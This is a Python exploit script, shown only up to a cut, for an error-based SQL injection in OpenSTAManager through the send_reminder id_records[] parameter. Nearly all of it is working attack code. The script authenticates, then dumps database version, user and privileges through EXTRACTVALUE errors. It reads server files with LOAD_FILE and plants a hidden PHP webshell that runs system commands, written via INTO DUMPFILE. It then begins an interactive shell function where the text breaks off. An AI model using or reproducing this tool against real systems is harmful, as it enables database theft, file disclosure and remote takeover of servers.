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| #!/usr/bin/env python3
import argparse
import html
import io
import json
import os
import re
import sys
import time
import csv
import requests
import urllib3
from urllib.parse import urljoin
from datetime import datetime
if sys.platform == "win32":
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8", errors="replace")
sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding="utf-8", errors="replace")
os.system("")
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BANNER = r"""
_______ ________ ___ ___ ___ __ ___ _ _ _ _ __ ___
/ ____\ \ / / ____| |__ \ / _ \__ \ / / |__ \| || | | || |/_ |/ _ \
| | \ \ / /| |__ ______ ) | | | | ) / /_ ______ ) | || |_| || |_| | (_) |
| | \ \/ / | __|______/ /| | | |/ / '_ \______/ /|__ _|__ _| |> _ <
| |____ \ / | |____ / /_| |_| / /| (_) | / /_ | | | | | | (_) |
\_____| \/ |______| |____|\___/____\___/ |____| |_| |_| |_|\___/
OpenSTAManager <= 2.9.8 | Error-Based SQL Injection
Scadenzario send_reminder id_records[] Parameter
"""
class Style:
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
M = "\033[95m"
C = "\033[96m"
W = "\033[97m"
D = "\033[1m"
DIM = "\033[2m"
X = "\033[0m"
BG_R = "\033[41m"
BG_G = "\033[42m"
BG_B = "\033[44m"
def log_info(msg):
print(f" {Style.B}[*]{Style.X} {msg}")
def log_success(msg):
print(f" {Style.G}[+]{Style.X} {msg}")
def log_warning(msg):
print(f" {Style.Y}[!]{Style.X} {msg}")
def log_error(msg):
print(f" {Style.R}[-]{Style.X} {msg}")
def log_data(label, value):
print(f" {Style.C} ├─{Style.X} {Style.D}{label}:{Style.X} {value}")
def log_data_last(label, value):
print(f" {Style.C} └─{Style.X} {Style.D}{label}:{Style.X} {value}")
def separator(char="═", length=62, color=Style.M):
print(f" {color}{char * length}{Style.X}")
def header(title, color=Style.M):
separator(color=color)
print(f" {color}║{Style.X} {Style.D}{title}{Style.X}")
separator(color=color)
class OpenSTAManagerExploit:
CHUNK_SIZE = 31
XPATH_PATTERNS = [
re.compile(r"XPATH syntax error:\s*�?39;~(.*?)�?39;", re.IGNORECASE | re.DOTALL),
re.compile(r"XPATH syntax error:\s*'~([^']*)'", re.IGNORECASE),
re.compile(r"XPATH syntax error:\s*"~(.*?)"", re.IGNORECASE | re.DOTALL),
]
def __init__(self, target, username=None, password=None, cookie=None,
module_id=18, proxy=None, no_ssl_verify=False, delay=0,
output_dir=None):
self.target = target.rstrip("/")
self.username = username
self.password = password
self.cookie = cookie
self.module_id = module_id
self.delay = delay
self.output_dir = output_dir
self.session = requests.Session()
self.session.verify = not no_ssl_verify
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
})
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.request_count = 0
self.start_time = None
self.collected_hashes = []
self.webshell_url = None
if self.output_dir:
os.makedirs(self.output_dir, exist_ok=True)
def authenticate(self):
if self.cookie:
self.session.cookies.set("PHPSESSID", self.cookie)
log_info(f"Using provided session cookie: {Style.D}{self.cookie}{Style.X}")
return self._verify_session()
if not self.username or not self.password:
log_error("No credentials or session cookie provided.")
return False
log_info(f"Authenticating as {Style.D}{self.username}{Style.X}")
login_url = f"{self.target}/index.php"
try:
resp = self.session.get(login_url, timeout=15)
except requests.exceptions.RequestException as e:
log_error(f"Connection failed: {e}")
return False
token = None
for pattern in [
r'name=["\']token["\'][^>]*value=["\']([^"\']+)["\']',
r'name=["\']_token["\'][^>]*value=["\']([^"\']+)["\']',
r'name=["\']csrf_token["\'][^>]*value=["\']([^"\']+)["\']',
r'value=["\']([^"\']+)["\'][^>]*name=["\']token["\']',
]:
match = re.search(pattern, resp.text, re.DOTALL)
if match:
token = match.group(1)
break
login_data = {"op": "login", "username": self.username, "password": self.password}
if token:
login_data["token"] = token
try:
resp = self.session.post(login_url, data=login_data, allow_redirects=True, timeout=15)
except requests.exceptions.RequestException as e:
log_error(f"Login request failed: {e}")
return False
session_id = self.session.cookies.get("PHPSESSID", "N/A")
if self._is_login_page(resp.text):
log_error("Authentication failed. Verify credentials.")
return False
log_success(f"Authenticated successfully")
log_data_last("PHPSESSID", session_id)
return True
def _verify_session(self):
test_result = self._extract_raw("SELECT 1")
if test_result is not None:
log_success("Session cookie is valid. Injection confirmed.")
return True
log_error("Session cookie is invalid or injection endpoint is not reachable.")
return False
def _is_login_page(self, page_text):
lower = page_text.lower()
login_indicators = ['name="password"', 'op=login', "op=login", 'id="password"']
logout_indicators = ["logout", "op=logout", "module"]
has_login = any(ind in lower for ind in login_indicators)
has_logout = any(ind in lower for ind in logout_indicators)
if has_login and not has_logout:
return True
return False
def _extract_raw(self, sql_expr):
if self.delay > 0:
time.sleep(self.delay)
url = f"{self.target}/actions.php?id_module={self.module_id}"
payload = f"-999) AND EXTRACTVALUE(1,CONCAT(0x7e,({sql_expr})))#"
try:
resp = self.session.post(
url,
data={"op": "send_reminder", "id_records[]": payload},
timeout=20
)
self.request_count += 1
except requests.exceptions.RequestException:
return None
for pattern in self.XPATH_PATTERNS:
match = pattern.search(resp.text)
if match:
return html.unescape(match.group(1))
return None
def extract(self, sql_query):
self.start_time = self.start_time or time.time()
result = self._extract_raw(sql_query)
if result is None:
return None
if len(result) < self.CHUNK_SIZE:
return result
full = ""
pos = 1
while True:
chunk = self._extract_raw(f"SUBSTRING(({sql_query}),{pos},{self.CHUNK_SIZE})")
if not chunk:
break
full += chunk
if len(chunk) < self.CHUNK_SIZE:
break
pos += self.CHUNK_SIZE
return full if full else result
def _count(self, query):
result = self.extract(query)
if result and result.isdigit():
return int(result)
return 0
def _save_output(self, filename, data, fmt="json"):
if not self.output_dir:
return
filepath = os.path.join(self.output_dir, filename)
if fmt == "json":
with open(filepath, "w", encoding="utf-8") as f:
json.dump(data, f, indent=2, ensure_ascii=False)
elif fmt == "csv":
if not data:
return
with open(filepath, "w", encoding="utf-8", newline="") as f:
writer = csv.DictWriter(f, fieldnames=data[0].keys())
writer.writeheader()
writer.writerows(data)
elif fmt == "raw":
with open(filepath, "w", encoding="utf-8") as f:
f.write(data if isinstance(data, str) else str(data))
log_success(f"Output saved: {Style.D}{filepath}{Style.X}")
def get_info(self):
print()
header("DATABASE INFORMATION", Style.C)
queries = [
("Version", "SELECT VERSION()"),
("Current User", "SELECT CURRENT_USER()"),
("Database", "SELECT DATABASE()"),
("Hostname", "SELECT @@hostname"),
("Data Directory", "SELECT @@datadir"),
("OS", "SELECT @@version_compile_os"),
("Basedir", "SELECT @@basedir"),
]
results = {}
for i, (label, query) in enumerate(queries):
val = self.extract(query)
results[label] = val or "N/A"
if i < len(queries) - 1:
log_data(label, results[label])
else:
log_data_last(label, results[label])
separator(color=Style.C)
print()
self._save_output("db_info.json", results)
return results
def check_privileges(self):
print()
header("PRIVILEGE ENUMERATION", Style.M)
current_user = self.extract("SELECT CURRENT_USER()")
log_data("Current User", current_user or "N/A")
privs = {}
priv_checks = [
("FILE", "SELECT IF(INSTR(CONCAT(',',GROUP_CONCAT(PRIVILEGE_TYPE),','),',FILE,'),'YES','NO') FROM information_schema.user_privileges WHERE GRANTEE=CONCAT('\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',1),'\\'@\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',-1),'\\'')" ),
("SUPER", "SELECT IF(INSTR(CONCAT(',',GROUP_CONCAT(PRIVILEGE_TYPE),','),',SUPER,'),'YES','NO') FROM information_schema.user_privileges WHERE GRANTEE=CONCAT('\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',1),'\\'@\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',-1),'\\'')"),
("PROCESS", "SELECT IF(INSTR(CONCAT(',',GROUP_CONCAT(PRIVILEGE_TYPE),','),',PROCESS,'),'YES','NO') FROM information_schema.user_privileges WHERE GRANTEE=CONCAT('\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',1),'\\'@\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',-1),'\\'')"),
]
for priv_name, query in priv_checks:
result = self.extract(query)
privs[priv_name] = result or "UNKNOWN"
color = Style.G if result == "YES" else Style.R if result == "NO" else Style.Y
log_data(priv_name, f"{color}{privs[priv_name]}{Style.X}")
all_privs = self.extract(
"SELECT GROUP_CONCAT(PRIVILEGE_TYPE SEPARATOR ',') FROM information_schema.user_privileges "
"WHERE GRANTEE=CONCAT('\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',1),'\\'@\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',-1),'\\'')"
)
privs["ALL_GRANTS"] = all_privs or "N/A"
log_data_last("All Grants", privs["ALL_GRANTS"])
separator(color=Style.M)
if privs.get("FILE") == "YES":
log_success(f"{Style.G}FILE privilege detected! --file-read and --webshell may work.{Style.X}")
else:
log_warning("FILE privilege not detected. File operations may fail.")
print()
self._save_output("privileges.json", privs)
return privs
def read_file(self, filepath):
print()
header(f"FILE READ ─ {filepath}", Style.R)
content = self.extract(f"SELECT LOAD_FILE('{filepath}')")
if content:
log_success(f"File read successful ({len(content)} bytes retrieved)")
separator("─", color=Style.DIM)
for line in content.split("\n"):
print(f" {Style.DIM}│{Style.X} {line}")
separator("─", color=Style.DIM)
if self.output_dir:
safe_name = filepath.replace("/", "_").replace("\\", "_").lstrip("_")
self._save_output(f"file_{safe_name}", content, fmt="raw")
else:
log_error("File read failed. Check FILE privilege or file path.")
log_info("Try --privs to check if FILE privilege is available.")
separator(color=Style.R)
print()
return content
def read_file_hex(self, filepath):
print()
header(f"FILE READ (HEX) ─ {filepath}", Style.R)
hex_content = ""
pos = 1
chunk_hex_size = 31
while True:
chunk = self._extract_raw(
f"SELECT HEX(SUBSTRING(LOAD_FILE('{filepath}'),{pos},{chunk_hex_size}))"
)
if not chunk:
break
hex_content += chunk
if len(chunk) < self.CHUNK_SIZE:
break
pos += chunk_hex_size
if hex_content:
try:
content = bytes.fromhex(hex_content).decode("utf-8", errors="replace")
log_success(f"File read successful ({len(content)} bytes)")
separator("─", color=Style.DIM)
for line in content.split("\n"):
print(f" {Style.DIM}│{Style.X} {line}")
separator("─", color=Style.DIM)
if self.output_dir:
safe_name = filepath.replace("/", "_").replace("\\", "_").lstrip("_")
self._save_output(f"file_{safe_name}", content, fmt="raw")
separator(color=Style.R)
print()
return content
except (ValueError, UnicodeDecodeError):
log_error("Failed to decode hex content.")
log_error("File read failed.")
separator(color=Style.R)
print()
return None
def write_webshell(self, webroot=None):
print()
header("WEBSHELL UPLOAD", Style.BG_R)
if not webroot:
detected = self.extract("SELECT @@secure_file_priv")
log_data("secure_file_priv", detected or "NULL (unrestricted)")
common_paths = [
"/var/www/html/openstamanager",
"/var/www/html",
"/var/www",
]
for path in common_paths:
check = self.extract(f"SELECT IF(LOAD_FILE('{path}/index.php') IS NOT NULL,'EXISTS','NO')")
if check == "EXISTS":
webroot = path
log_success(f"Detected webroot: {Style.D}{webroot}{Style.X}")
break
if not webroot:
webroot = "/var/www/html/openstamanager"
log_warning(f"Using default webroot: {webroot}")
shell_name = f".8f3k{int(time.time()) % 10000}.php"
shell_path = f"{webroot}/{shell_name}"
shell_code = '<?php if(isset($_REQUEST["c"])){system($_REQUEST["c"]);} ?>'
log_info(f"Writing webshell to: {Style.D}{shell_path}{Style.X}")
hex_shell = shell_code.encode().hex()
write_query = f"SELECT 0x{hex_shell} INTO DUMPFILE '{shell_path}'"
try:
url = f"{self.target}/actions.php?id_module={self.module_id}"
payload = f"-999) AND ({write_query})#"
self.session.post(
url,
data={"op": "send_reminder", "id_records[]": payload},
timeout=20
)
self.request_count += 1
except requests.exceptions.RequestException:
log_error("Request failed during webshell write.")
separator(color=Style.R)
print()
return False
shell_url = f"{self.target}/{shell_name}"
try:
verify = self.session.get(f"{shell_url}?c=id", timeout=10)
if "uid=" in verify.text:
self.webshell_url = shell_url
log_success(f"{Style.G}Webshell uploaded successfully!{Style.X}")
log_data("URL", shell_url)
log_data("Parameter", "c")
log_data_last("Test", verify.text.strip())
separator(color=Style.G)
print()
return True
except requests.exceptions.RequestException:
pass
alt_paths = [
f"{self.target}/openstamanager/{shell_name}",
f"{self.target}/uploads/{shell_name}",
]
for alt_url in alt_paths:
try:
verify = self.session.get(f"{alt_url}?c=id", timeout=5)
if "uid=" in verify.text:
self.webshell_url = alt_url
log_success(f"{Style.G}Webshell uploaded successfully!{Style.X}")
log_data("URL", alt_url)
log_data_last("Test", verify.text.strip())
separator(color=Style.G)
print()
return True
except requests.exceptions.RequestException:
continue
secure_priv = self.extract("SELECT @@secure_file_priv")
if secure_priv and secure_priv != "NULL":
log_error(f"secure_file_priv is set to '{secure_priv}'. Write restricted.")
else:
log_error("Webshell write failed. FILE privilege may not be available or path is wrong.")
log_info("Try: --webshell --webroot /exact/path/to/webroot")
separator(color=Style.R)
print()
return False
def interactive_shell(self):
if not self.webshell_url:
log_error("No active webshell. Run --webshell first.")
return
print()
header("INTERACTIVE SHELL", Style.G)
shell_info = None
try:
|
